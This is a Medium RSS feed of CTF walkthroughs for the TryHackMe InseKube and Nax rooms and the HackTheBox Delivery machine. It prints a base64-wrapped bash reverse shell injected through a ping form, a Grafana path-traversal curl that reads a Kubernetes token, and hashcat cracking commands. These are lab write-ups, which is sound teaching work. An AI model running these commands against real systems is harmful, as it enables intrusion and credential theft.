<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Arrow on Medium]]></title>
        <description><![CDATA[Stories by Arrow on Medium]]></description>
        <link>https://medium.com/@arrowa?source=rss-2df976d5d653------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*7rHN6dxjxjf8lnRp3HoWUg.jpeg</url>
            <title>Stories by Arrow on Medium</title>
            <link>https://medium.com/@arrowa?source=rss-2df976d5d653------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 01:30:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@arrowa/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[InseKube CTF — TryHackMe]]></title>
            <link>https://arrowa.medium.com/insekube-ctf-tryhackme-8b3f26556e0a?source=rss-2df976d5d653------2</link>
            <guid isPermaLink="false">https://medium.com/p/8b3f26556e0a</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[grafana]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Arrow]]></dc:creator>
            <pubDate>Mon, 07 Mar 2022 10:51:57 GMT</pubDate>
            <atom:updated>2022-03-07T12:34:01.471Z</atom:updated>
            <content:encoded><![CDATA[<h3>InseKube CTF — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*EUWL64-sYIU5QojoB1lEQg.png" /><figcaption>Insekube CTF.</figcaption></figure><p>Hello everyone!<br>Long time not hacking/writing anything at all. Everyday life can be a little crazy from time to time (and I hope it won’t get any crazier from that point as the whole planet is in hot water-but, we are not here to discuss this one).<br>So, first write-up of 2022 and I’ve chose <a href="https://tryhackme.com/room/insekube">InseKube CTF</a> as it seemed to me an interesting scenario with a quite new technology (in comparison with the traditional ones) that gets more and more fans.</p><p>So, really quick, on this challenge we are dealing with a Kubernetes setup and, along with it, a Grafana recent vulnerability.</p><p>Let’s jump into this right away!<br>Proposed soundtrack: <a href="https://www.youtube.com/watch?v=AxdPucdC9JI">https://www.youtube.com/watch?v=AxdPucdC9JI</a></p><h3>Enumeration</h3><p>First things first, the enumeration. <br>Having some experience with Kubernetes myself and some of the ports that might have been exposed (<a href="https://kubernetes.io/docs/reference/ports-and-protocols/">https://kubernetes.io/docs/reference/ports-and-protocols/</a>), I thought that it might be a quite good idea to start with a masscan scan, instead of the casual nmap, in order to save some time waiting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*4Otq-euX5pq49Qfr3rvvIA.png" /><figcaption>Masscan Scan.</figcaption></figure><p>Taking a look at the results, I was a little bit confused at first. Reading a little bit into the CTF’s description (stating that the challenge is setup inside of a Minikube), it made perfect sense why the classic K8s ports weren’t there. To give a little bit of info here, Minikube is tool, usually used for development and testing purposes, and helps the individual to set up quickly and easily a local Kubernetes cluster on the OS of their choice (<a href="https://minikube.sigs.k8s.io/docs/">https://minikube.sigs.k8s.io/docs/</a>).</p><p>A quick check with Nmap as well, to see if we can get more info for the open ports. But nothing that we don’t already know. Let’s head to the website and see what is holding up for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*TWnNb1RDHwxh-pNphPZp_w.png" /><figcaption>Nmap scan.</figcaption></figure><p>The landing page is quite simple. Just a “ping” application that let’s you know if the host provided is ping-able or not. And here starts the real fun.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*nqlGnx6NflrlULGd8avrdg.png" /><figcaption>Is it up or down?</figcaption></figure><p>The first thing that comes into my mind, when I meet such type of setups is to try a simple remote command execution, just something reeeealy simple to put into test my suspicion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*xAJvdXpeA-J1Y12dU4Suxw.png" /><figcaption>Testing the RCE.</figcaption></figure><p>As it is clear from the output, the application successfully executed the ping command and right afterwards executed the ls command. Did I hear someone screaming “Reverse Shell” here?</p><h3>Reverse Shell</h3><p>Let’s fire up Burp Suite to capture a request to the server and change it accordingly for landing our reverse shell successfully. Also, let’s start NetCat on our port of choice.</p><blockquote>nc -lvnp 9999</blockquote><p>Ok, now for triggering the reverse shell and get access to the remote server all we will need is to execute the following using BurpSuite.</p><blockquote>echo “bash -i &gt;&amp; /dev/tcp/10.10.118.248/9999 0&gt;&amp;1” | bash;</blockquote><p>However, we will needed to inject the reverse shell in the form of base64, therefore what is going to be executed at the end on the remote server will be the piece of command below:</p><blockquote>echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMTguMjQ4Lzk5OTkgMD4mMQo=” | base64 -d | bash;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7U4nPnEaq0T_vBHj6g2eRg.png" /><figcaption>BurpSuite Request and Reverse Shell.</figcaption></figure><h3>Grafana LFI</h3><p>Enumerating a little bit the remote host, we can see some interesting info on this env parameters and, more precisely, the fact that there is a Grafana server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*6Ne00VcDhXvLY4LVX6uoYw.png" /><figcaption>env parameters.</figcaption></figure><p>Grafana is no stranger to some good vulnerabilities and very recently there was discovered a pretty good one that was affected a number of Grafana versions up until 8.x (<a href="https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/">https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/</a>). Let’s see what is the version of the Grafana instance in our case by running a simple curl on its login page.</p><blockquote>curl <a href="http://10.108.133.228:3000/login">http://10.108.133.228:3000/login</a></blockquote><p>We will get back a pretty lengthy HTML page. Going through it really we can see that the Grafana installed is on 8.3.0-beta2 version, therefore according to the advisory linked above it is vulnerable to <a href="https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/">CVE-2021–43798</a>.</p><p>This <a href="https://golangexample.com/cve-2021-43798-grafana-8-x-path-traversal-pre-auth/">article</a>, also, explains in very good details how we can use this vulnerability to access files, such as /etc/passwd. All good with it, but what should we do afterwards? Let’s move on with the next piece of the puzzle.</p><h3>Kubernetes Cluster</h3><p>So, we do know that this machine is hosting a Kubernetes Cluster. If you search a little bit, you will find out that the most valuable tool for managing a Kubernetes cluster is kubectl (<a href="https://kubernetes.io/docs/tasks/tools/">https://kubernetes.io/docs/tasks/tools/</a>). At first shot, it seems like kubectl is not installed for the user, however if we search for the binary itself we will find it on the /tmp directory.</p><p>On <a href="https://www.containiq.com/post/kubectl-cheat-sheet">this article</a>, you can get a look on the most used/essential kubectl commands.</p><p>The first command that I went with was the “/tmp/kubectl get pods”, in order to check if something is currently up and running on the cluster, however it seems that the user is missing the permissions for that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*J77tf9lGmFsqhwDl7qd-BA.png" /><figcaption>Trying to get the pods.</figcaption></figure><p>Generally speaking, it is a very good strategy to set up an authentication mechanism in case some one -you know- malicious tries to get advantage of the Kubernetes Cluster (<a href="https://kubernetes.io/docs/reference/access-authn-authz/authentication/">https://kubernetes.io/docs/reference/access-authn-authz/authentication/</a>). The easiest way is to setup a token that you will pass it along with every kubectl command that you are running. All those tokens though are saved on the local machine on the /var/run/secrets/kubernetes.io/serviceaccount/token directory.(<a href="https://kubernetes.io/docs/tasks/run-application/access-api-from-pod/">https://kubernetes.io/docs/tasks/run-application/access-api-from-pod</a>/.) Bad luck for the guys that made the setup… We definitely can make use of this Grafana LFI vulnerability to get our hands on to the cluster token.</p><p><strong>Putting the two pieces of the puzzle together</strong></p><p>Now that we have everything we want, let’s put it into test by running the following command and assign the output into a variable in order for us being able to work easily with it:</p><blockquote>curl — path-as-is <a href="http://10.108.133.228:3000/var/run/secrets/kubernetes.io/serviceaccount/token">http://10.108.133.228:3000/public/plugins/alertlist/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token</a></blockquote><p>So here, we got ourselves the token!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*M19GQ5LVUiSR08GbYQOe_Q.png" /><figcaption>Getting the token.</figcaption></figure><p>Let’s try once more to disable the pods available on the default Kubernetes namespace. Bingo! The token gave us the permission we needed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*sslc6VDYtbfwfe-SXJ_S9A.png" /><figcaption>Bingo!</figcaption></figure><h3>Final step</h3><p>And now we are heading for the final step. The creator of the room has done a really good job on providing the info and the study matter for getting the root user, so I am not going to repeat it here. Just head to the challenge’s room and have a good read on it.</p><p>For this final step we will need the yaml of the malicious pod <a href="https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml">here</a>, with a bit of atwist, as the image is already available on the minikube cluster and the remote host does not have any internet access either way. Just on the yaml file add the imagePullPolicy: IfNotPresent tag, just below the image: ubuntu tag. Pay extra attention on the spaces, while you doing that addition, otherwise the yaml won’t be accepted as a valid one from the kubernetes cluster and it will refuse to start the pod for you.</p><p>Once, we have our yaml ready on our local machine, we can fire up an HTTP Server using python, to help us download the file to the remote machine easily.</p><blockquote>python3 -m http.server 8001</blockquote><p>Once, we have downloaded the file on the remote machine, we can use the “kubectl apply -f” command in order to bring our “bad” pod into life.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*VHYAzRzZ8ov5RTIOJS6XDw.png" /><figcaption>Hello little malicious pod!</figcaption></figure><p>Once, the pod is turned into “Running” status, we can get an interactive shell into it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*G-gfbPn5zIZKGkIVHT4MlA.png" /><figcaption>Root!!</figcaption></figure><p>That’s all guys for today!<br>I hope you enjoyed my write-up, as much as I enjoyed writing it.<br>See you next time and keep hacking! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b3f26556e0a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nax CTF — TryHackMe]]></title>
            <link>https://arrowa.medium.com/nax-ctf-tryhackme-1de61146e3a1?source=rss-2df976d5d653------2</link>
            <guid isPermaLink="false">https://medium.com/p/1de61146e3a1</guid>
            <category><![CDATA[nagios]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Arrow]]></dc:creator>
            <pubDate>Sun, 19 Sep 2021 19:50:43 GMT</pubDate>
            <atom:updated>2021-09-19T19:50:43.784Z</atom:updated>
            <content:encoded><![CDATA[<h3>Nax CTF — TryHackMe</h3><p>Hello, everyone!<br>Back with another write-up, this time for TryHackMe’s Nax CTF.<br>Nax is a medium difficulty machine, that focuses on <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-15949">CVE-2019–15949</a> (Nagios XI Authenticated Remote Command Execution) and what might go wrong when you are way too lazy to upgrade on a newer version, especially with a severity as high as a solid 8.8/10 on <strong>CVSS 3 scale.</strong></p><p>Proposed soundtrack:<a href="https://www.youtube.com/watch?v=sf6LD2B_kDQ">https://www.youtube.com/watch?v=sf6LD2B_kDQ</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*Aa7RMoLVXc9Sug238-uK_g.png" /><figcaption>Nax CTF.</figcaption></figure><h3>Enumeration</h3><p>As always, let’s fire up Nmap to check with what we are dealing with for this challenge.</p><blockquote>nmap -sC -sV 10.10.48.194</blockquote><blockquote>Starting Nmap 7.60 ( https://nmap.org ) at 2021–09–19 18:31 BST<br>Nmap scan report for ip-10–10–48–194.eu-west-1.compute.internal (10.10.48.194)<br>Host is up (0.0011s latency).<br>Not shown: 995 closed ports<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 62:1d:d9:88:01:77:0a:52:bb:59:f9:da:c1:a6:e3:cd (RSA)<br>| 256 af:67:7d:24:e5:95:f4:44:72:d1:0c:39:8d:cc:21:15 (ECDSA)<br>|_ 256 20:28:15:ef:13:c8:9f:b8:a7:0f:50:e6:2f:3b:1e:57 (EdDSA)<br>25/tcp open smtp Postfix smtpd<br>|_smtp-commands: ubuntu.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, <br>| ssl-cert: Subject: commonName=ubuntu<br>| Not valid before: 2020–03–23T23:42:04<br>|_Not valid after: 2030–03–21T23:42:04<br>|_ssl-date: TLS randomness does not represent time<br>80/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Site doesn’t have a title (text/html).<br>389/tcp open ldap OpenLDAP 2.2.X — 2.3.X<br>443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Site doesn’t have a title (text/html).<br>| ssl-cert: Subject: commonName=192.168.85.153/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US<br>| Not valid before: 2020–03–24T00:14:58<br>|_Not valid after: 2030–03–22T00:14:58<br>|_ssl-date: TLS randomness does not represent time<br>MAC Address: 02:C8:AF:6B:8D:B3 (Unknown)<br>Service Info: Host: ubuntu.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel</blockquote><p>Ok, a couple of things are going on. First things first, we have an open SSH port on an Ubuntu Server (probably a Xenial 16.04 based on the OpenSSH version). On the machine, there seems to be running a mail server on the default 25 smtp port and OpenLDAP on port 389. Now, I am grouping those two together, because, although there were there and no matter how much I have enumerated them, I did not find anything of interest there. However, if you are interesting on SMTP/OpenLDAP enumeration, <a href="https://book.hacktricks.xyz/pentesting/pentesting-smtp">here</a> and <a href="https://book.hacktricks.xyz/pentesting/pentesting-ldap">here</a> are two very useful guides.<br>So, let’s focus on the site running on either port 80/443. Upon visiting the site the landing page, is this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*RxqnRGEsXUno4Bv_HXGVmA.png" /><figcaption>Elements.</figcaption></figure><p>First honest reaction? Well, what the heck is this! I’ve checked out the source code in case there were something of interest there but no luck. In the meanwhile, I had already triggered gobuster for crawling the site and while it was doing its thing, I was trying to figure the above thing out.</p><blockquote>gobuster dir -u http://10.10.48.194/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,tar,txt,cgi</blockquote><p>After a while, a Full Metal Alchemist vibe hit me, and I remembered that on the <a href="https://ptable.com/#Properties">periodic table</a>, every element is accompanied by a unique number which is equivalent to its atomic number (apologies if I am mistaken here, it’s been quite some time since my last Chemistry lessons back to the High School era).</p><p>So, the Ag-Hg-Ta-Sb-Po-Pd-Hg-Pt-Lr is translated into 47– 80– 73– 51– 84 –46–80–78–103. But again, it does not seems to be something meaningful, right? Let’s check to what that numbers correspond into <a href="https://www.asciitable.com/">ASCII</a>. And BINGO! It seems that we got something there (and at that point I was really hoping not a mighty rabbit hole!).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3qd41Wbi32TFl5YNeEG7iQ.png" /><figcaption>PI3T.PNg</figcaption></figure><p>Ok, we’ve got a png file and first thing that comes in mind when dealing with such things is exiftool. So, I’ve downloaded the file locally in order to check. Not much, to be honest, apart from the name of the artist. I, also, ran steghide but I didn’t get something back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*1xbzHkCgBwAcGEbRVSB3fw.png" /><figcaption>Exiftool info.</figcaption></figure><p>Let’s do some OSINT work and search for that Piet Mondrian guy (who is actually a Dutch painter born in 1872, one of the pioneers of 20th-century abstract art). After a lot (and I really mean a lot) search, I came across this page with a stego tool that reminded the name of our artist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dIG6b9bwoKrx-yGxJQ1BrA.png" /><figcaption>npiet online.</figcaption></figure><p>Clicking on the link, I was redirected on a website which I could upload an image and get back something that might be hidden on it, I guess. So, I uploaded our png file and what I got was really satisfying.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*ktR6rXeAPq1-Q1sj0blINA.png" /><figcaption>Nagios Credentials.</figcaption></figure><p>Upon a quick search on Google, we can find that the default credentials for Nagios are nagiosadmin:PASSW0RD,which means that we might have found the username/password hidden within the image. And at that moment, I remembered that I had launched gobuster some ages ago, but I never checked out the outcome due to being to busy searching the image thing. So, here’s what its outcome was.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*0043nVDFDmag3vr6HTi9Nw.png" /><figcaption>gobuster.</figcaption></figure><p>Without any further thought, I jumped quickly to the /index.php page and came across the Nagios Login Page. Breath deep, the moment of truth, let’s check if the credentials we collected are actually any good.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JLTeHFer3eic8OAtHWxcdQ.png" /><figcaption>Within Nagios Console.</figcaption></figure><p>Sweet! We absolutely nailed it! Time to set up our attack.</p><h3>CVE-2019–15949</h3><p>Well, the tag of the challenge already gives it away, so no much to search here. In some more details, Nagios versions prior and up until version 5.5.6 are vulnerable to an Authenticated Remote Command Execution Attack that can offer the offensive side root rights on the victim machine (the Nagios version is visible upon logging in, on the bottom left side of the page, so we can be double verify that we are working with a vulnerable version) . For more details, on how the attack actually works, please check <a href="https://www.rapid7.com/db/modules/exploit/linux/http/nagios_xi_authenticated_rce/">Rapid7’s report</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*axOlBXr7WyC_iB4O4nQAig.png" /><figcaption>Nagios Version</figcaption></figure><h3><strong>Escalation</strong></h3><p>Using Searchsploit and searching “nagios xi”, we can see that there is a Metasploit module for this vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*FaUpi-4K4_8JsW2kkI1X3g.png" /><figcaption>Searchsploit</figcaption></figure><p>So let’s fire up Metasploit and make the needed trivial preparation below!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*tEu8G-8EACtzgf577oDz1A.png" /><figcaption>Root.</figcaption></figure><p>And voilà!! We are root.</p><p>That’s all guys for today!<br>I hope you enjoyed my write-up, as much as I enjoyed writing it.<br>See you next time and keep hacking! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1de61146e3a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Delivery CTF— HackTheBox]]></title>
            <link>https://arrowa.medium.com/delivery-ctf-hackthebox-8775c5a15daf?source=rss-2df976d5d653------2</link>
            <guid isPermaLink="false">https://medium.com/p/8775c5a15daf</guid>
            <category><![CDATA[cracking-hashes]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hashcat]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[security-misconfiguration]]></category>
            <dc:creator><![CDATA[Arrow]]></dc:creator>
            <pubDate>Sun, 15 Aug 2021 10:22:26 GMT</pubDate>
            <atom:updated>2021-08-15T10:22:26.980Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone!<br>Back again with another CTF write-up, with a bit of a twist, as we are having a HackTheBox challenge this time. Although, HTB was one of the very first platforms that I started using when I was getting into the Hacking World, I have never give it a try of writing a walkthrough for its CTF challenges. That was until today, of course!<br>Anyhow, enough of the my little chit-chat, let’s jump into the Delivery machine. Delivery is an Easy Linux challenge and focuses on Web and Account Misconfiguration.</p><p>Proposed soundtrack: <a href="https://www.youtube.com/watch?v=JVEsq489stU">https://www.youtube.com/watch?v=JVEsq489stU</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*IODqfGVjwaROcA6mNCOfjg.png" /><figcaption>Delivery Logo.</figcaption></figure><h3><strong>Enumeration</strong></h3><p>As always let’s start with a little bit of an enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*JD8rAB6bUxqhHtETlJ6N8A.png" /><figcaption>Nmap Scan.</figcaption></figure><p>I’ve, also, performed a full port scan, but it did not turned out with anything more, so it is safe to think that this is all the info we need. Really, quick, we have the SSH port open and it seems that we are dealing with a Debian 10 server. Also, a web service with Nginx is running on port 80 and that will be our first stop in our attempt of rooting the machine.</p><p>The landing page brings us here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wKuW9Wk81mPweqTAa5ibQQ.png" /><figcaption>Delivery main page.</figcaption></figure><p>Hovering our mouse cursor on the HELPDESK hyperlink, we will see that it redirects to the <a href="http://helpdesk.delivery.htb/"><strong>http://helpdesk.delivery.htb</strong></a><strong>, </strong>however we will not be able to access it, unless we add it into our /etc/hosts (C:\Windows\System32\drivers\etc\hosts for our Windows friends out there).<br>So, we are redirected to the next page which give us some piece of useful info. More precisely, it let us know that we will need an email with the @delivery.htb domain in order to access the MatterMost server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*39ZZZH-KS_XU8Jm1kTmkuA.png" /><figcaption>Contact Us!</figcaption></figure><p>I think I am hearing you asking what a MatterMost server is. Well, my thoughts exactly. What it is even a MatterMost server? Some clicks later, I found out that <a href="https://en.wikipedia.org/wiki/Mattermost">MatterMost</a> is an “<a href="https://en.wikipedia.org/wiki/Open-source_software">open-source</a>, <a href="https://en.wikipedia.org/wiki/Self-hosting_(web_services)">self-hostable</a> <a href="https://en.wikipedia.org/wiki/Online_chat">online chat service</a>”. Sweet! I guess if we make our way there, we will find all kinds of things that people think are safe to share on a chat service such as Slack, Skype etc. But first, we will need an @delivery.htb mail. Let’s head for the HelpDesk first.</p><h3><strong>Hello! You’ve got a … TICKET!</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5qw6xVsQobSX5aYHpRq1tw.png" /><figcaption>Help Desk Ticketing System.</figcaption></figure><p>And here we’ve got the main page of a ticketing system. As always, being way too impatient, I instantly head for the “Open a New Ticket” button (<em>spoiler alert:</em> Don’t be like me, patience is a virtue. I had to repeat the whole process that I will describe below due to the fact that I was rushing for no reason and didn’t taking notes. So just don’t!).</p><p>So, we are requested to fill down a couple of things as shown below…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*IMbD0zUtL7wr1oxdWcvWGQ.png" /><figcaption>Opening the ticket.</figcaption></figure><p>…and we smash the “Create Ticket” button and here we go!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*ZsaP-pvd-w6rxj8-NKY3dg.png" /><figcaption>Ticket Details.</figcaption></figure><p>Back to the main page of the ticketing system, this time aiming for the “Check Ticket Status” button and we’ve got this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*kbVuZC6zaWvTJc_-yNoICA.png" /><figcaption>Check ticket!</figcaption></figure><p>At this, point I was a little bit confused as of how I should proceed. I’ve tried some things here and there, but nothing really worked. And after a while, I thought to myself, “Did I got a valid @delivery.htb mail upon creating the ticket that I could use??”- and there I go, doing the whole thing from scratch because, as I already mentioned, I didn’t take any notes at that point. If this is the case, it seems that the guys that set the whole thing up seem to be vulnerable to an <a href="https://www.tessian.com/blog/inside-domain-name-email-impersonation/">Email Impersonation attack</a>. Anyway, let’s put into test this suspicion.</p><p>I headed for the Mattermost server, and I was able to register the mail I got from the support ticketing system waiting for the verification mail. And what a surprise! Go back check the status of your ticket… Yes yes go, I will wait!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*WDwqa5iTLn6hYSALTCvMiw.png" /><figcaption>Verification email.</figcaption></figure><p>Upon verifying the mail, logging into to the Mattermost server is plausible, and I can admit it, I was not disappointed at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Xr7jsBZ11Ot-Jyk9u2uVw.png" /><figcaption>Inside Mattermost!</figcaption></figure><p>So, here we have two pieces of information:</p><ul><li>Credentials for the maildeliverer user.</li><li>The fact that there are variants of passwords with a very specific pattern, “PleaseSubscribe!”</li></ul><p>First things first, let’s check if we can SSH on the server with the maildeliverer user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*OWJJw2OaT-ymJ9eDhPlPrQ.png" /><figcaption>Deliverer</figcaption></figure><h3><strong>Knock… Knock… Your Delivery Has Arrived!</strong></h3><p>So, we are in. The first thing that I’ve checked is if the user has some kind of sudo rights, but that would be too easy for a HTB machine, I guess. The next, thing was to download the linpeas.sh script to collect some hints quickly for the machine. The 2 things caught my attention; the sudo version used ( the <a href="https://www.exploit-db.com/exploits/47502">vulnerable 1.8.27 version</a>) -but hey, too bad we do not have sudo permissions- and the binary processes, more specifically the mattermost process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*l9SvL6EbJ1yUhFu7WdJwow.png" /><figcaption>Mattermost process.</figcaption></figure><p>The configuration files of services have always been proved valuable source of extracting useful info, so my guts tell me to have a look at the /opt/mattermost/config/config.json file. Really, quickly, we can find out the part that connects the mattermost server with a MariaDB database along with the DB’s credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Xv3HoI7y72qUL38OGHJzQ.png" /><figcaption>Maria’s Secret.</figcaption></figure><p>Let’s grab a <a href="https://www.mysqltutorial.org/mysql-cheat-sheet.aspx">SQL cheat sheet</a> and see what we can get from there. After connecting to the DB, we can see that we are having a database named mattermost and within its tables, the users’ entries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lKzxuu-qboO_UzX8pn-0tg.png" /><figcaption>Mattermost user.</figcaption></figure><p>Tbh, the whole thing above is not that readable, so I put it on VSCode editor, in order to be able to inspect it easier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*16sA-YZgBz_zDWKDbsmDLw.png" /><figcaption>Users+Pass</figcaption></figure><p>Ok, so we’ve got a list of users and their password hashes. The most interesting of them all, of course, is the root user. The first thing that I do, when I am dealing with hashes is to check with what kind of hash I am dealing with. There are tons of tools that can help you to identify this, however my personal preference is to go straight to the HashCat’s official site and check the <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">example hashes section</a>. It might not be convenient for someone that just started to play around with hashes, but I found that in this way, progressively, I am able to recognize much easier the most common types when I see one. For instance, in our case, all of the password hashes are starting with $2a$, therefore we can conclude that we are dealing with a bcrypt hash. That’s the one thing, the other one is the clue that we got earlier about the “PleaseSubscribe!” variants. It is time to use HashCat in order to generate a dictionary with some variants of this word.</p><blockquote><strong>echo PleaseSubscribe! | hashcat -r /usr/share/hashcat/rules/best.64.rule &gt; list.txt</strong></blockquote><p>After a couple of minutes we do have our list of password variants.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*lcR6sw1BmWMX-Th1XJ-4hA.png" /><figcaption>HashCat dictionary.</figcaption></figure><p>And now that everything is set, the only thing left is to create an extra file (mine is named hash.txt) for putting in the root hash and trigger HashCat once more in order to see if we will be able to crack the hash. Again, there is a variety of tools that can be used for that step, but I have a clear preference for HashCat (well, it is after all a cat, don’t go blame me!)</p><blockquote><strong>hashcat -m 3200 -a 0 -o root_pass.txt hash.txt list.txt</strong></blockquote><p>After a couple of minutes, we finally got it. Let’s finish it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*dBVFwXUfwS0z1IQVZ-97uQ.png" /><figcaption>HashCat password output.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*WBseB7WuXG9bnKVf70s9ng.png" /><figcaption>ROOTED!!</figcaption></figure><p>So that’s all guys for today!<br>I hope you enjoyed my write-up, as much as I enjoyed writing it.<br>See you next time and keep hacking! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8775c5a15daf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cat Pictures CTF — TryHackMe]]></title>
            <link>https://arrowa.medium.com/cat-pictures-ctf-tryhackme-730de7a12a42?source=rss-2df976d5d653------2</link>
            <guid isPermaLink="false">https://medium.com/p/730de7a12a42</guid>
            <category><![CDATA[port-knocking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[docker-security]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ftp-server]]></category>
            <dc:creator><![CDATA[Arrow]]></dc:creator>
            <pubDate>Sun, 27 Jun 2021 14:14:36 GMT</pubDate>
            <atom:updated>2021-06-27T14:14:36.166Z</atom:updated>
